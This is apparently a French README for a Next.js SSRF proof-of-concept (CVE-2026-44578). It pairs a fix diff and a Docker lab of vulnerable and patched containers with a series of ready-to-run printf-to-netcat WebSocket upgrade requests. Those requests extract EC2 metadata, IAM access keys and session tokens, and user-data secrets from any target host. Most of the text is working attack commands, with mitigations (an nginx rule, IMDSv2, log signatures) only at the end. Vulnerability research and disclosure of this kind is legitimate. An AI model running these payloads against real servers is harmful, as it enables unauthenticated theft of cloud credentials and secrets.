
CVE-2026-44578: Next.js WebSocket Upgrade SSRF — pre-auth credential theft via localhost:80. Lab + exploit + audit.
Server-Side Request Forgery avant authentification dans les déploiements auto-hébergés Next.js.
Une seule requête HTTP malveillante extrait les identifiants AWS, secrets et données de services internes depuis localhost:80.
| Champ | Valeur |
|---|---|
| CVE | CVE-2026-44578 |
| GHSA | GHSA-c4j6-fc7j-m34r |
| CVSS 3.1 | 8.6 HIGH (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N) |
| Type | SSRF (CWE-918) |
| Affecté | Next.js 13.4.13 – 15.5.15, 16.0.0 – 16.2.4 (auto-hébergé uniquement) |
| Corrigé | 15.5.16, 16.2.5 |
| Authentification requise | Aucune |
| Interaction utilisateur | Aucune |
Le gestionnaire de mise à niveau WebSocket dans router-server.ts appelle proxyRequest() dès que parsedUrl.protocol est vrai — sans vérifier les indicateurs de fin de routage finished et statusCode que le gestionnaire HTTP avait toujours appliqués.
// router-server.ts — gestionnaire de mise à niveau
- if (parsedUrl.protocol) {
- return await proxyRequest(req, socket, parsedUrl, head)
// correctif (commit c4f69086)
+ if (finished && parsedUrl.protocol) {
+ if (!statusCode) {
+ return await proxyRequest(req, socket, parsedUrl, head)
+ }
+ return socket.end()
}
Après que normalizeRepeatedSlashes réduit http:/// à http:/, le nom d'hôte est nul et http-proxy se connecte à localhost:80 avec le bon chemin. Tout service co-localisé (métadonnées cloud, panneaux d'administration, API internes) est exposé.
printf "GET http:///latest/meta-data/iam/security-credentials/ROLE HTTP/1.1\r\n\
Host: TARGET:3000\r\n\
Connection: Upgrade\r\n\
Upgrade: websocket\r\n\
Sec-WebSocket-Version: 13\r\n\
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 TARGET 3000
curlne peut pas envoyer d'URI sous forme absolue. Utilisez du TCP brut :nc,ncat,socat, ou des sockets Python.
Attaquant Next.js (vuln) localhost:80 (IMDS/service)
| | |
| GET http:///latest/meta-data/| |
| Connection: Upgrade | |
| Upgrade: websocket | |
|----------------------------->| |
| | url.parse -> protocol:'http' |
| | "///" correspond à la regex |
| | normalizeRepeatedSlashes |
| | "http:///" -> "http:/" |
| | Retourne : finished:true |
| | statusCode:308 |
| | hostname:null |
| | |
| | BOGUE : vérifie seulement le |
| | protocole |
| | proxyRequest -> localhost:80 |
| | GET /latest/meta-data/ |
| |----------------------------->|
| | 200 OK + identifiants |
| |<-----------------------------|
| 200 OK + identifiants | |
|<-----------------------------| |
nc (netcat)git clone https://github.com/dinosn/CVE-2026-44578.git
cd CVE-2026-44578/lab
./setup.sh
Cela démarre 5 conteneurs :
Les sidecars IMDS utilisent network_mode: "service:nextjs-*" pour que le faux service de métadonnées soit sur localhost:80 à l'intérieur du conteneur Next.js — ce qui modélise une véritable instance cloud.
# Suite de tests complète (7 sondes SSRF)
python3 ../exploit/poc.py -t http://localhost:3000 --test-all
# Extraction d'identifiants unique
printf "GET http:///latest/meta-data/iam/security-credentials/NextjsAppRole HTTP/1.1\r\n\
Host: 127.0.0.1:3000\r\nConnection: Upgrade\r\nUpgrade: websocket\r\n\
Sec-WebSocket-Version: 13\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" \
| nc -w 5 127.0.0.1 3000
# Confirmer que l'instance corrigée bloque
python3 ../exploit/poc.py -t http://localhost:3001 --test-all
./teardown.sh
Tous les conteneurs actifs — vulnérable (15.5.15) sur :3000, corrigé (15.5.16) sur :3001, sidecars IMDS partageant les espaces de noms réseau.
Une seule requête renvoie le répertoire complet des métadonnées EC2 (ami-id, instance-id, iam/, placement/, etc.)
Jeu complet d'identifiants IAM : AccessKeyId, SecretAccessKey, Token, et Expiration.
Script bootstrap user-data EC2 contenant DB_PASSWORD et API_KEY.
ID de l'instance extrait via le même vecteur SSRF.
Même payload contre Next.js 15.5.16. Connexion fermée immédiatement — aucune donnée renvoyée.
Les logs du faux IMDS montrent des requêtes GET arrivant de 127.0.0.1 (le processus Next.js), prouvant que le SSRF est côté serveur.
Les 7 tests SSRF renvoient des données sensibles sur l'instance vulnérable.
Les 7 tests sont bloqués sur l'instance corrigée. Correctif confirmé.
# 1. Lister les catégories de métadonnées
printf "GET http:///latest/meta-data/ HTTP/1.1\r\nHost: T:3000\r\nConnection: Upgrade\r\nUpgrade: websocket\r\nSec-WebSocket-Version: 13\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 T 3000
# 2. ID de l'instance
printf "GET http:///latest/meta-data/instance-id HTTP/1.1\r\nHost: T:3000\r\nConnection: Upgrade\r\nUpgrade: websocket\r\nSec-WebSocket-Version: 13\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 T 3000
# 3. Découvrir le rôle IAM
printf "GET http:///latest/meta-data/iam/security-credentials/ HTTP/1.1\r\nHost: T:3000\r\nConnection: Upgrade\r\nUpgrade: websocket\r\nSec-WebSocket-Version: 13\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 T 3000
# 4. Extraire les identifiants IAM
printf "GET http:///latest/meta-data/iam/security-credentials/ROLE HTTP/1.1\r\nHost: T:3000\r\nConnection: Upgrade\r\nUpgrade: websocket\r\nSec-WebSocket-Version: 13\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 T 3000
# 5. Secrets user-data
printf "GET http:///latest/user-data HTTP/1.1\r\nHost: T:3000\r\nConnection: Upgrade\r\nUpgrade: websocket\r\nSec-WebSocket-Version: 13\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 T 3000
Remplacez T par l'hôte cible et ROLE par le nom du rôle IAM.
# Nginx : rejeter les URI de requête sous forme absolue
if ($request_uri ~* "^https?://") {
return 400;
}
Sur AWS : imposer IMDSv2 (HttpTokens=required).
Signatures dans les logs :
Failed to proxy http:/ — proxy déclenché mais cible injoignablehttp:///path ne génère aucun log d'erreur — surveillez les mises à niveau WebSocket avec http: dans la ligne de requêteÀ utiliser uniquement pour des tests de sécurité autorisés, de l'éducation et de la recherche défensive. N'utilisez que contre des systèmes que vous possédez ou pour lesquels vous avez une autorisation écrite explicite de test.
| Conteneur | Rôle | Exposé |
|---|
nextjs-vuln | Next.js 15.5.15 (vulnérable) | localhost:3000 |
nextjs-fixed | Next.js 15.5.16 (corrigé) | localhost:3001 |
imds-sidecar-vuln | Faux AWS IMDSv1 partageant le réseau avec le vulnérable | localhost:80 (vue du vulnérable) |
imds-sidecar-fixed | Faux AWS IMDSv1 partageant le réseau avec le corrigé | localhost:80 (vue du corrigé) |
internal-api | Maquette de service interne | — |
| Limitation | Détail |
|---|
| Méthode HTTP | GET uniquement |
| Cible | localhost:80 (nom d'hôte supprimé par normalisation) |
| AWS IMDSv2 | Non exploitable (nécessite PUT) |
| Métadonnées GCP | Non exploitable (rejette l'en-tête Upgrade) |
| Hébergé sur Vercel | Non affecté |
| Derrière un proxy inverse | nginx/Caddy/HAProxy bloquent les URI sous forme absolue |
| Source | Lien |
|---|